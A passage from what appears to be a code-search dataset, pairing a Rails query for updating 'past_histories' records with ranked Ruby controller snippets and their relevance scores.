paginate_collection(session[:work_advanced_search_results], {:page => params[:page], :per_page => 20})\n logger.debug \"Post paging, solr results are #{@results}\"\n \n @result_frbr_objects=[] \n #Get the frbr objects for rendering purposes\n for result in @results\n myType,myId=result.split(':')\n myObject=FrbrObject.new('work',Work.find(myId))\n @result_frbr_objects.push(myObject)\n end\n \n \n \n end", "title": "" }, { "docid": "86a529181e5122da77b6daf6af56f9b0", "score": "0.6488901", "text": "def solr_add\n TanningBed.solr_connection.add(search_fields)\n rescue Errno::ECONNREFUSED => e\n TanningBed.solr_exception(e)\n end", "title": "" }, { "docid": "5f004cd1c12fb640f26a0a85bf0a873d", "score": "0.64878905", "text": "def setup_solr\n RSolr.connect url: ActiveFedora::FileConfigurator.new.solr_config[:url]\n end", "title": "" } ]
ad7b594af73af7711158adbadc49a088
PATCH/PUT /past_histories/1 PATCH/PUT /past_histories/1.json
[ { "docid": "5b28fc219daa5074cc32cf60d91c6e6d", "score": "0.7141876", "text": "def update\n respond_to do |format|\n if @past_history.update(past_history_params)\n format.html { redirect_to @past_history, notice: 'Past history was successfully updated.' }\n format.json { render :show, status: :ok, location: @past_history }\n else\n format.html { render :edit }\n format.json { render json: @past_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "5adc071ac70442e8ab9181648c94eed9", "score": "0.68334514", "text": "def update\n @historical = Historical.find(params[:id])\n\n respond_to do |format|\n if @historical.update_attributes(params[:historical])\n format.html { redirect_to @historical, notice: 'Historical was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historical.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22c9e5075101e405b7ea6c23ce47dbb8", "score": "0.63461894", "text": "def update\n @historial_odt = HistorialOdt.find(params[:id])\n\n respond_to do |format|\n if @historial_odt.update_attributes(params[:historial_odt])\n format.html { redirect_to @historial_odt, notice: 'Historial odt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial_odt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "776345dedbd0fd975ab8c8107f277608", "score": "0.63385767", "text": "def update\n respond_to do |format|\n if @historic.update(historic_params)\n format.html { redirect_to @historic, notice: 'Historic was successfully updated.' }\n format.json { render :show, status: :ok, location: @historic }\n else\n format.html { render :edit }\n format.json { render json: @historic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ecfc3584cab3c68beb7d29d3943ba7d3", "score": "0.630456", "text": "def update\n @cocktail_history = CocktailHistory.find(params[:id])\n\n respond_to do |format|\n if @cocktail_history.update_attributes(params[:cocktail_history])\n format.html { redirect_to @cocktail_history, notice: 'Cocktail history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cocktail_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40e06405230b093b709537d9d4b324ff", "score": "0.6284362", "text": "def update\n #@fundamentals_history = FundamentalsHistory.find(params[:id])\n @fundamentals_history = @company.fundamentals_histories.find(params[:id])\n\n respond_to do |format|\n if @fundamentals_history.update_attributes(params[:fundamentals_history])\n format.html { redirect_to @fundamentals_history, notice: 'Fundamentals history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fundamentals_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "294a0f53cf538779c65594c309a2cbfb", "score": "0.6228445", "text": "def update\n @experience_history = ExperienceHistory.find(params[:id])\n\n respond_to do |format|\n if @experience_history.update_attributes(params[:experience_history])\n format.html { redirect_to @experience_history, notice: 'Experience history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experience_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71b2af2c41cbe720a873b7d54ea6cea9", "score": "0.6207052", "text": "def update\n respond_to do |format|\n if @thermostat_history.update(thermostat_history_params)\n format.html { redirect_to @thermostat_history, notice: 'Thermostat history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thermostat_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6706e0b15a48c6b71b9f0d94b3f0ff7b", "score": "0.6193101", "text": "def update\n respond_to do |format|\n if @harvest_history.update(harvest_history_params)\n format.html { redirect_to @harvest_history, notice: 'Harvest history was successfully updated.' }\n format.json { render :show, status: :ok, location: @harvest_history }\n else\n format.html { render :edit }\n format.json { render json: @harvest_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c70438e192c11b858d93abb1714ce090", "score": "0.6186019", "text": "def update\n @reading_history = current_user.reading_histories.find(params[:id])\n\n respond_to do |format|\n if @reading_history.update_attributes(params[:reading_history])\n data_new = params[:reading_history]\n format.html { redirect_to data_new[\"html_path\"], notice: data_new.to_s }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reading_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0da2edb07512dd9741944e8fcd3030f0", "score": "0.61716545", "text": "def update\n @operation_history = OperationHistory.find(params[:id])\n\n respond_to do |format|\n if @operation_history.update_attributes(params[:operation_history])\n format.html { redirect_to @operation_history, notice: 'Operation history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b97c772ba34cad2623fb99bfb1a7eeab", "score": "0.61680686", "text": "def update\n respond_to do |format|\n if @history.update(history_params)\n format.html { redirect_to @history, notice: 'History was successfully updated.' }\n # format.json { render :show, status: :ok, location: @history }\n upper = @history.fandom_id ? @history.fandom : @history.history\n format.json { return render json: { data: @history, upper: upper, status: :ok } }\n else\n format.html { render :edit }\n # format.json { render json: @history.errors, status: :unprocessable_entity }\n format.json { return render json: { data: @history, status: :unprocessable_entity, message: \"The History's Date (#{@history.event_date.strftime('%F')}) is already exist!\" } }\n end\n end\n end", "title": "" }, { "docid": "3eac0522661dcb81bb8a2bde6bfb6819", "score": "0.6162674", "text": "def update\n @historial = Historial.find(params[:id])\n\n respond_to do |format|\n if @historial.update_attributes(params[:historial])\n format.html { redirect_to @historial.cartucho, notice: 'Historial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9be68eac1011ff43a3bc3e3279629338", "score": "0.6148162", "text": "def update\n respond_to do |format|\n if @history.update(history_params)\n format.html { redirect_to @history, notice: 'History was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec7b668557001e517e9f06e3e76a300d", "score": "0.6131964", "text": "def update\n respond_to do |format|\n if @clinic_history.update(clinic_history_params)\n format.html { redirect_to patient_clinic_histories_path(@patient, @clinic_history), notice: 'clinic_history actualizada satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clinic_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e4d32b3d212085436e233969140de88", "score": "0.6107049", "text": "def update\n @points_history = PointsHistory.find(params[:id])\n\n respond_to do |format|\n if @points_history.update_attributes(params[:points_history])\n format.html { redirect_to @points_history, notice: 'Points history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @points_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16801860adb7001a9116bf2e76435579", "score": "0.60976076", "text": "def update\n respond_to do |format|\n if @issue_history.update(issue_history_params)\n format.html { redirect_to @issue_history, notice: 'Issue history was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_history }\n else\n format.html { render :edit }\n format.json { render json: @issue_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16801860adb7001a9116bf2e76435579", "score": "0.60976076", "text": "def update\n respond_to do |format|\n if @issue_history.update(issue_history_params)\n format.html { redirect_to @issue_history, notice: 'Issue history was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_history }\n else\n format.html { render :edit }\n format.json { render json: @issue_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42d71c8a2c02f9ee28db29c06535ebe5", "score": "0.6066221", "text": "def update\n respond_to do |format|\n if @history.update(history_params)\n format.html { redirect_to @history, notice: 'History was successfully updated.' }\n format.json {\n render 'show', format: 'json', handlers: 'jbuilder', status: :ok\n }\n else\n format.html { render :edit }\n format.json { render json: @history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "313e114c6fed99679003943187f2efe6", "score": "0.60540193", "text": "def update\n @h_old = @housing_detail.dup\n @h_old.save\n\n @housing_detail.status = 'Waiting for Approval'\n @housing_detail.version_id = HousingDetail.where(category_id: @h_old.category_id).maximum(:version_id) + 1\n @housing_detail.updatedby = current_user.email\n\n respond_to do |format|\n if @housing_detail.update(housing_detail_params)\n format.html { redirect_to @housing_detail, notice: 'Housing detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @housing_detail }\n else\n format.html { render :edit }\n format.json { render json: @housing_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9ea180739d631ca6b370eefc58c030e", "score": "0.60474503", "text": "def update\n respond_to do |format|\n if @laptop_history.update(laptop_history_params)\n format.html { redirect_to @laptop_history, notice: 'Laptop history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @laptop_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86a443439ec464b1a70965e35d0bb98b", "score": "0.6031584", "text": "def update\n respond_to do |format|\n if @originating_history.update(originating_history_params)\n format.html { redirect_to @originating_history, notice: 'Originating history was successfully updated.' }\n format.json { render :show, status: :ok, location: @originating_history }\n else\n format.html { render :edit }\n format.json { render json: @originating_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5bd8c929dcd3d988d90dd9e50a25ca10", "score": "0.60221654", "text": "def set_past_history\n @past_history = PastHistory.find(params[:id])\n end", "title": "" }, { "docid": "dce36c38947e2d0f67fe8239c081c4c8", "score": "0.60185415", "text": "def update\n respond_to do |format|\n if @histroal.update(histroal_params)\n format.html { redirect_to @histroal, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @histroal }\n else\n format.html { render :edit }\n format.json { render json: @histroal.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb3d010f43b6413b7a59f1f40572b984", "score": "0.60121256", "text": "def update\n respond_to do |format|\n if @historial.update(historial_params)\n format.html { redirect_to @historial, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @historial }\n else\n format.html { render :edit }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb3d010f43b6413b7a59f1f40572b984", "score": "0.60121256", "text": "def update\n respond_to do |format|\n if @historial.update(historial_params)\n format.html { redirect_to @historial, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @historial }\n else\n format.html { render :edit }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1303422cb9eb2128bbf095cea5dea1f2", "score": "0.60077", "text": "def update\n @history = History.find(params[:id])\n respond_to do |format|\n\n @history.update(status: 0)\n format.html { redirect_to @history, notice: 'Released successfully!!' }\n\n end\n end", "title": "" }, { "docid": "6c6c737848d2ef01ce02d4d24d54435f", "score": "0.5985906", "text": "def update\n respond_to do |format|\n if @foodhistory.update(foodhistory_params)\n format.html { redirect_to @foodhistory, notice: 'Foodhistory was successfully updated.' }\n format.json { render :show, status: :ok, location: @foodhistory }\n else\n format.html { render :edit }\n format.json { render json: @foodhistory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "abd32747a16178cb1aff2821a0d4d174", "score": "0.5980819", "text": "def update\n respond_to do |format|\n if @pediatric_history.update(pediatric_history_params)\n format.html { redirect_to @pediatric_history, notice: 'Historial pediatrico actualizado con exito.' }\n format.json { render :show, status: :ok, location: @pediatric_history }\n else\n format.html { render :edit }\n format.json { render json: @pediatric_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40998820c683e746f657e901afb5a59c", "score": "0.5972428", "text": "def update\n respond_to do |format|\n if @book_history.update(book_history_params)\n format.html { redirect_to @book_history, notice: 'Book history was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_history }\n else\n format.html { render :edit }\n format.json { render json: @book_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "968e4814f76ec70ce514a4f56439b0ad", "score": "0.59718746", "text": "def update\n @settlement_history = Settlement::History.find(params[:id])\n\n respond_to do |format|\n if @settlement_history.update_attributes(params[:settlement_history])\n format.html { redirect_to @settlement_history, notice: 'History was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @settlement_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5c6d56eb71c768ab6a1f38e43e5bd23", "score": "0.59706026", "text": "def update\n @hpt_history = HptHistory.find(params[:id])\n\n respond_to do |format|\n if @hpt_history.update_attributes(params[:hpt_history])\n flash[:notice] = 'HptHistory was successfully updated.'\n format.html { redirect_to(@hpt_history) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hpt_history.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eee5d7002daf559a9ed7ac6bedbc8853", "score": "0.5965454", "text": "def update\n respond_to do |format|\n if @history_thermostat.update(history_thermostat_params)\n format.html { redirect_to @history_thermostat, notice: 'History thermostat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @history_thermostat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7cd83b8448ecbcfc5eb5625c0dabbbd", "score": "0.59595716", "text": "def update\n @patient_history = PatientHistory.find(params[:id])\n\n respond_to do |format|\n if @patient_history.update_attributes(params[:patient_history])\n format.html { redirect_to @patient_history, notice: 'Patient history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e6f6964edff9b5fe9358188404558c9", "score": "0.59546566", "text": "def update\n respond_to do |format|\n old = @hr_person\n if @hr_person.update(hr_person_params)\n if params[:change_seat]\n @hr_person.hr_person_histories.create(old.attributes.except('id', 'created_by', 'updated_by', 'created_at', 'updated_at'))\n end\n format.html { render :js => view_context.close_window_show_tips('parent.MAIN_LAYER_WINDOW', '资料创建成功!') }\n format.json { render :show, status: :ok, location: @hr_person }\n else\n format.html { render :edit }\n format.json { render json: @hr_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c622aeeb146160ffd6a6f87e88a05ac", "score": "0.59518147", "text": "def update\n respond_to do |format|\n if @item_history.update(item_history_params)\n format.html { redirect_to @item_history, notice: 'Item history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a336bc7f0cb447dc25b89ac1665d729", "score": "0.5944597", "text": "def set_historic\n @historic = Historic.find(params[:id])\n end", "title": "" }, { "docid": "df7d7fd4b4e86b4ad399d8dd54e974a0", "score": "0.594049", "text": "def update\n @buying_history = BuyingHistory.find(params[:id])\n\n respond_to do |format|\n if @buying_history.update_attributes(params[:buying_history])\n format.html { redirect_to @buying_history, :notice => 'Buying history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @buying_history.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e02baa003135ed6499c51fdc038722ee", "score": "0.5931664", "text": "def update\n @service_history = ServiceHistory.find(params[:id])\n\n if @service_history.update(service_history_params)\n head :no_content\n else\n render json: @service_history.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "158807a4c77911b28e65fbbaef8fe3ac", "score": "0.59102726", "text": "def update\n respond_to do |format|\n if @water_history.update(water_history_params)\n format.html { redirect_to @water_history, notice: 'Water history was successfully updated.' }\n format.json { render :show, status: :ok, location: @water_history }\n else\n format.html { render :edit }\n format.json { render json: @water_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1edc1fa0f276f43eb7724e550911d6c8", "score": "0.5905067", "text": "def past_history_params\n params.require(:past_history).permit(:recipe_id, :user_id)\n end", "title": "" }, { "docid": "0a2ae560a91788c3beb236300955d000", "score": "0.589551", "text": "def update\n if @history.update(history_params)\n @histories = History.includes_all\n @success_message = '更新しました'\n else\n @errors = @history.errors\n end\n render 'finish_posting'\n end", "title": "" }, { "docid": "b3c833e664fe323c7205cf3b52192d79", "score": "0.58740216", "text": "def update\n @schedules_history = SchedulesHistory.find(params[:id])\n\n respond_to do |format|\n if @schedules_history.update_attributes(params[:schedules_history])\n format.html { redirect_to @schedules_history, notice: 'Schedules history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedules_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99faed42820fb0d02f75b6aa31c78bd9", "score": "0.5863157", "text": "def update\n respond_to do |format|\n if @historical_source.update(historical_source_params)\n format.html { redirect_to @historical_source, notice: 'Historical source was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @historical_source.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3268dd5b6ce0515b7d91ebed92c8a08", "score": "0.5856242", "text": "def update\n @military_history = MilitaryHistory.find(params[:id])\n\n respond_to do |format|\n if @military_history.update_attributes(params[:military_history])\n format.html { redirect_to @military_history.personal_detail, notice: 'Military history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @military_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "17252ebae131affc8cc7fbb1e9ba67aa", "score": "0.5840478", "text": "def update\n respond_to do |format|\n if @speaking_history.update(speaking_history_params)\n format.html { redirect_to @speaking_history, notice: 'Speaking history was successfully updated.' }\n format.json { render :show, status: :ok, location: @speaking_history }\n else\n format.html { render :edit }\n format.json { render json: @speaking_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fa94562a35d0ed0e7feba101b4890af", "score": "0.58219683", "text": "def update\n @illness_history = current_user.illness_histories.find(params[:id])\n\n respond_to do |format|\n if @illness_history.update_attributes(params[:illness_history])\n flash[:notice] = 'IllnessHistory was successfully updated.'\n format.html { redirect_to(medical_histories_path) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "3d0bd4cf14a2996671c14bb953ed236d", "score": "0.57984746", "text": "def update\n respond_to do |format|\n if @booking_history.update(booking_history_params)\n format.html { redirect_to @booking_history, notice: 'Booking history was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking_history }\n else\n format.html { render :edit }\n format.json { render json: @booking_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a8872856a604cbe6801b4a735eaecdb", "score": "0.57853824", "text": "def update\n respond_to do |format|\n if @votaciones_hist.update(votaciones_hist_params)\n format.html { redirect_to @votaciones_hist, notice: 'Votaciones hist was successfully updated.' }\n format.json { render :show, status: :ok, location: @votaciones_hist }\n else\n format.html { render :edit }\n format.json { render json: @votaciones_hist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "763eeb3f3b148a3ef1da949ee14adc78", "score": "0.57796186", "text": "def update\n respond_to do |format|\n if @medical_history.update(medical_history_params)\n format.html { redirect_to @medical_history, notice: 'Medical history was successfully updated.' }\n format.json { render :show, status: :ok, location: @medical_history }\n else\n format.html { render :edit }\n format.json { render json: @medical_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "763eeb3f3b148a3ef1da949ee14adc78", "score": "0.57796186", "text": "def update\n respond_to do |format|\n if @medical_history.update(medical_history_params)\n format.html { redirect_to @medical_history, notice: 'Medical history was successfully updated.' }\n format.json { render :show, status: :ok, location: @medical_history }\n else\n format.html { render :edit }\n format.json { render json: @medical_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8ca8c0f4d94905563ada5b45cb10982", "score": "0.57778674", "text": "def update\n @vehicle_historic = VehicleHistoric.find(params[:id])\n @vehicle_historic.status = \"aberto\"\n\n respond_to do |format|\n if @vehicle_historic.update_attributes(params[:vehicle_historic])\n format.html { redirect_to(@vehicle_historic, :notice => 'Vehicle historic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle_historic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e6719b1f34b406fea466b00bed09a31", "score": "0.57741094", "text": "def update\n respond_to do |format|\n if @purchased_history.update(purchased_history_params)\n format.html { redirect_to @purchased_history, notice: 'Purchased history was successfully updated.' }\n format.json { render :show, status: :ok, location: @purchased_history }\n else\n format.html { render :edit }\n format.json { render json: @purchased_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46307ba5cd3f296135cadd467854b84d", "score": "0.57725555", "text": "def update\n respond_to do |format|\n if @invoice_history.update(invoice_history_params)\n format.html { redirect_to @invoice_history, notice: \"Invoice history was successfully updated.\" }\n format.json { render :show, status: :ok, location: @invoice_history }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @invoice_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59f90c2ec6d5bb7334d2276902023d7e", "score": "0.5765463", "text": "def update\n params[:cso][:existing_past_achievement_attributes] ||= {}\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n if @cso.update_attributes(params[:cso])\n flash[:notice] = 'Cso was successfully updated.'\n format.html { redirect_to(@cso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cso.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa7facfcb9350a227c305d130e8bbe78", "score": "0.576471", "text": "def update\n respond_to do |format|\n if @patient_history.update(patient_history_params)\n format.html { redirect_to @patient_history, notice: 'Patient history was successfully updated.' }\n format.json { render :show, status: :ok, location: @patient_history }\n else\n format.html { render :edit }\n format.json { render json: @patient_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d65bda4ca402316947ca4785a42179eb", "score": "0.57589567", "text": "def update\n # @applicant_job_history = ApplicantJobHistory.find(params[:id])\n\n respond_to do |format|\n if @applicant_job_history.update_attributes(params[:applicant_job_history])\n format.html { redirect_to [@applicant_job_history.applicant.user,@applicant_job_history.applicant,@applicant_job_history], notice: 'Applicant job history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @applicant_job_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "94b50dbb5bde329745d50733cae66f79", "score": "0.5752634", "text": "def update\n respond_to do |format|\n if @pastrecord.update(pastrecord_params)\n format.html { redirect_to @pastrecord, notice: 'Pastrecord was successfully updated.' }\n format.json { render :show, status: :ok, location: @pastrecord }\n else\n format.html { render :edit }\n format.json { render json: @pastrecord.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "460fcf1d7de621cff9e3b04e0da92bdf", "score": "0.5733713", "text": "def update\n respond_to do |format|\n if @comm_history.update(comm_history_params)\n @inspection = @comm_history.try(:bid).try(:inspection)\n create_documents\n format.html { redirect_to @comm_history, notice: 'Bids follow up was successfully updated.' }\n format.json { render :show, status: :ok, location: @comm_history }\n else\n format.html { render :edit }\n format.json { render json: @comm_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b7721282559510601f0cd5ae30361ca", "score": "0.5733243", "text": "def update\n historial_params = params[:historial]\n with_bill = historial_params.delete(:with_bill)\n @historial = Historial.find(params[:id])\n\n respond_to do |format|\n if @historial.update_attributes(historial_params)\n if with_bill.present?\n format.html { redirect_to new_bill_path(\n client_id: @historial.cliente_id,\n historial_id: @historial.id\n ), notice: 'Presupuesto actualizado =)'}\n else\n format.html { redirect_to @historial, notice: 'Presupuesto actualizado =)' }\n end\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3276fe5ec3abe7add4ee17bc56223a4", "score": "0.57216555", "text": "def update\n respond_to do |format|\n if @jobshistory.update(jobshistory_params)\n format.html { redirect_to current_user, notice: 'Job History was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @jobshistory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a744425c8b84eb18b20cc4222efc792", "score": "0.5720996", "text": "def post_to_historical(data_hash, title_number)\n\n response = rest_post_call($HISTORIAN_URL + '/' + title_number, data_hash.to_json)\n\n if (response.code != '200') then\n raise \"Failed to create the historical data: \" + response.body\n end\n\n return response.body\nend", "title": "" }, { "docid": "049f1bd3fd0210e09821f5b7705996b1", "score": "0.57169586", "text": "def update\n respond_to do |format|\n if @history_datum.update(history_datum_params)\n format.html { redirect_to @history_datum, notice: 'History datum was successfully updated.' }\n format.json { render :show, status: :ok, location: @history_datum }\n else\n format.html { render :edit }\n format.json { render json: @history_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "180e2ce06c5662f0d76749cb0c38c1e5", "score": "0.57034403", "text": "def update\n respond_to do |format|\n if @attendance_history.update(attendance_history_params)\n format.html { redirect_to @attendance_history, notice: 'Attendance History was successfully updated.' }\n format.json { render @attendance_history.event, status: :ok, location: @attendance_history }\n else\n format.html { render :edit }\n format.json { render json: @attendance_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c6eafebcf561681cd9e1f2f48f85412", "score": "0.5694357", "text": "def update\n @query_history = QueryHistory.find(params[:id])\n\n respond_to do |format|\n if @query_history.update_attributes(params[:query_history])\n format.html { redirect_to @query_history, notice: 'Query history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @query_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b70821ecea31a8548a3161aa8c60abe0", "score": "0.5693149", "text": "def update\n respond_to do |format|\n if @bug.update(bug_params)\n BugHistoric.create(bug_id: @bug.id, ref: BugHistoric.MODIFIED, user_id: current_user.id)\n format.html { redirect_to @bug, notice: 'Bug was successfully updated.' }\n format.json { render :show, status: :ok, location: @bug }\n else\n format.html { render :edit }\n format.json { render json: @bug.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b76ed9292b5e39fcf1fb816a35fdff02", "score": "0.5673559", "text": "def update\n respond_to do |format|\n if @borrow_history.update(borrow_history_params)\n format.html { redirect_to @borrow_history, notice: 'Borrow history was successfully updated.' }\n format.json { render :show, status: :ok, location: @borrow_history }\n else\n format.html { render :edit }\n format.json { render json: @borrow_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ba90924bf1572334565d4f5c9ce2c28", "score": "0.5673555", "text": "def update\n\t\tauthorize! :update, HistorialEstadoPresupuesto\n respond_to do |format|\n if @historial_estado_presupuesto.update(historial_estado_presupuesto_params)\n format.html { redirect_to @historial_estado_presupuesto, notice: 'Historial estado presupuesto fue actualizado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @historial_estado_presupuesto }\n else\n format.html { render :edit }\n format.json { render json: @historial_estado_presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ae1c2298bcd2b99993523ede0b99ccc", "score": "0.5672396", "text": "def update\n respond_to do |format|\n if @past_situation.update(past_situation_params)\n format.html { redirect_to @past_situation, notice: 'Past situation was successfully updated.' }\n format.json { render :show, status: :ok, location: @past_situation }\n else\n format.html { render :edit }\n format.json { render json: @past_situation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86a952bf7d19d69fe058fcd08d4c8ee2", "score": "0.5663436", "text": "def update\n respond_to do |format|\n if @article_history.update(article_history_params)\n format.html { redirect_to @article_history, notice: 'Article history was successfully updated.' }\n format.json { render :show, status: :ok, location: @article_history }\n else\n format.html { render :edit }\n format.json { render json: @article_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab7ea598cdf0afbb5a638720d9aa7802", "score": "0.5659249", "text": "def update\n respond_to do |format|\n if @unified_history.update(unified_history_params)\n format.html do\n flash[:success] = 'Unified history was successfully updated.'\n redirect_to @unified_history\n end\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @unified_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb0e43ce9df0e5d9e12927efaf1d8526", "score": "0.5653203", "text": "def update\n respond_to do |format|\n if @job_history.update(job_history_params)\n format.html { redirect_to @job_history, notice: 'Job history was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_history }\n else\n format.html { render :edit }\n format.json { render json: @job_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9715292fdb116b6cdc42af424b582b5", "score": "0.56495863", "text": "def update\n 